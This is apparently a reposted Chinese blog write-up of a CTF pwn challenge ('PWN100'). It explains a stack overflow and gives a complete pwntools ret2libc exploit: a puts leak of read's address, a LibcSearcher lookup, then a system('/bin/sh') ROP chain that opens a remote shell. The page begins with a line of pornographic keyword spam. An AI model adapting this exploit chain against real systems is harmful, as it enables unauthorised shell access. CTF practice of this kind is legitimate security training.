日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

攻防世界(Pwn) PWN100

發布時間:2025/3/20 编程问答 20 豆豆
生活随笔 收集整理的這篇文章主要介紹了 攻防世界(Pwn) PWN100 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

同時這里還存在一個 v1溢出點

我們知道x86都是靠棧來傳遞參數的而x64換了它順序是rdi, rsi, rdx, rcx, r8,
r9,如果多于6個參數才會用棧我們要先知道這個特性

這題,里面既沒有現成的system也沒有/bin/sh字符串,也沒有提供libc.so給我們,那么我們要做的就是想辦法泄露libc地址,拿到system函數和/bin/sh字符串,這題呢,我們可以利用put來泄露read函數的地址,然后再利用LibcSearcher查詢可能的libc

這題ROP,我們先構造payload來執行puts函數泄露read的地址

對此過程生疏的可以看看這篇文章 CTF(Pwn) Rop + ret2libc 題型 常規解法思路 (初級)

from pwn import* from LibcSearcher import* p=remote("111.200.241.244",49392) elf =ELF('./1') read_got = elf.got['read'] puts_plt = elf.plt['puts'] main_addr=0x4006B8 rdi=0x400763 payload='a'*(0x40+0x8)+p64(rdi)+p64(read_got)+p64(puts_plt)+p64(main_addr) payload=payload.ljust(200,'a') p.send(payload) p.recvline() read_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\0')) libc = LibcSearcher('read',read_addr) base=read_addr - libc.dump('read') system_addr = base+libc.dump('system') binsh=base+libc.dump('str_bin_sh') payload='a'*(0x40+0x8)+p64(rdi)+p64(binsh)+p64(system_addr) payload=payload.ljust(200,'a') p.sendline(payload) p.interactive()

具體EXP就不解釋了 有問題歡迎留言

總結

以上是生活随笔為你收集整理的攻防世界(Pwn) PWN100的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。